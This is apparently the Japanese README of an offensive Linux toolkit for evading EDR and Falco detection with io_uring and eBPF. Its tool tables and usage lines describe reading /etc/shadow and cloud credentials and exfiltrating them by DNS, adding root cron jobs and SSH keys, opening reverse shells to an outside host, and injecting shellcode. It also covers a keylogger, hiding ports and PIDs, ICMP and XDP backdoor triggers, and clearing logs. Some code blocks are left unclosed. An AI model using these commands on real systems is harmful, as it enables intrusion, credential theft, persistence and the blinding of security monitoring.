## 要件

**ツールチェーン**

| ツール | 必要な用途 |
|---|---|
| `gcc` | すべてのユーザースペースバイナリ |
| `clang` | `ebpf/*.bpf.c` BPF側プログラム |
| `make` | ビルドシステム |

**ヘッダとライブラリ**

| パッケージ | 必要な用途 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`、`<linux/io_uring.h>` および関連するカーネルヘッダ |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` など、`ebpf/` プログラムで使用されるもの |
| `bpftool` | `ebpf/` 内で `make vmlinux` を使用して `vmlinux.h` を生成する |

Debian/Kali/Ubuntu の場合:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) for the full breakdown.

## io_uring バイパスカバレッジ

io_uring SQE はカーネル workqueue を経由します。`io_uring_enter(2)` は `sys_call_table` を通らず、`sys_enter_*` トレースポイントを発火せず、`native_sys_call` のライブパッチにもヒットしません。これだけで、多くの種類の EDR フックを触らずに無効化します。

io_uring 単独でバイパスするもの:

| フックポイント | 注 |
|---|---|
| `sys_call_table` ポインタ置き換え | io_uring はシステムコールテーブルを通らない |
| `native_sys_call` / `compat_sys_call` へのライブパッチ | 同上 |
| `sys_enter_*` トレースポイント | workqueue パス、トレースポイントは発火しない |

io_uring 単独ではバイパスしないもの（アクティブなツールが必要）:

| フックポイント | ツール | ツールの機能 |
|---|---|---|
| `vfs_read`、`security_file_open` などへの kprobe | `ftrace_enum` | kprobe フックの除去 |
| BPF LSM / KRSI | `bpf_link_detach` | BPF リンクのデタッチ |
| Linux 監査 | `audit_kill` | NETLINK_AUDIT による auditd の無効化 |
| LD_PRELOAD / PLT-GOT パッチ | `plt_unhook` | ユーザーランドフックの除去 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | レイヤー 2 で AF_PACKET を使用、netfilter をスキップ |
| `inet_stream_connect` フック | `udp_shell` | UDP を使用、tcp connect パスを呼ばない |

## io_uring/

`iouring_utils.h` は liburing を使わずにリング設定を処理します。

| バイナリ | 機能 |
|---|---|
| `file_read` | io_uring 経由の OPENAT+READ+CLOSE チェーン、sys_enter_read イベントなし |
| `file_write` | OPENAT+WRITE+CLOSE チェーン |
| `file_append` | file_write と同様だが O_APPEND、オフセット -1 |
| `net_connect` | 1 つのリングで SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT 経由のリバースシェル |
| `multifile_read` | 1 つの SQE バッチで最大 64 ファイルを読み取り |
| `memfd_exec` | ELF を stdin 経由で memfd にストリーミングし、/proc/self/fd 経由で execve |
| `proc_inject` | /proc/PID/mem 経由の JIT インジェクション; ptrace インジェクション（--ptrace フラグ） |
| `pipe_splice` | SPLICE カーネル間コピー、ユーザーランドフックはバイトを見ない |
| `inotify_bypass_watch` | io_uring READ は IN_ACCESS/IN_OPEN を発生させない |
| `dns_exfil` | io_uring SENDMSG 経由でデータを DNS クエリラベルとして 16 進エンコード |
| `af_packet_send` | AF_PACKET 経由の raw Ethernet（IORING_OP_SOCKET、inet パスをバイパス） |
| `xdp_socket_send` | AF_XDP + UMEM リング経由の raw フレーム、netfilter を完全にバイパス |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

## ebpf/

clang + libbpf + vmlinux.h が必要です。`ebpf/` 内で `make vmlinux` を実行して、実行中のカーネルの BTF から生成します。

| ファイル | 機能 |
|---|---|
| `exec.bpf.c` | sys_enter_execve のトレースポイント |
| `fentry_open.bpf.c` | sys_enter_openat のトレースポイント |
| `creds.bpf.c` | 資格情報パス上の openat+read を追跡 |
| `keylog.bpf.c` | 入力イベントトレースポイント、生のキーコードキャプチャ |
| `net.bpf.c` | sys_enter_connect のログ記録 |
| `net_hide.bpf.c` | /proc/net/tcp および /proc/net/udp からポートを隠蔽 |
| `proc_hide.bpf.c` | getdents64 の出力から PID を隠蔽 |
| `tty_sniff.bpf.c` | stdin/stdout/stderr の書き込みと読み取りをキャプチャ |
| `skf_c2_runner.c` | クラシック BPF ソケットフィルターによる ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | マジック UDP パケットによる XDP トリガー |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

## techniques/ (Falcoバイパス)

Falcoのデフォルトルールセット（`modern_ebpf`ドライバ、25ルール）を対象とします。最初に`edrs/edr_recon`を実行してください。

- バイパス軸A: イベントがFalcoに到達するのを防ぐ（io_uringが`sys_enter_*`をスキップ、ringbufドレインがイベントを静かにドロップ）。
- バイパス軸B: イベントはFalcoに到達するがルール条件が一致しない（proc.name偽装、パスピボット、代替フラグ）。

| ツール | 軸 | Falcoルール |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | all |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | all |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | all |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | all 25 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log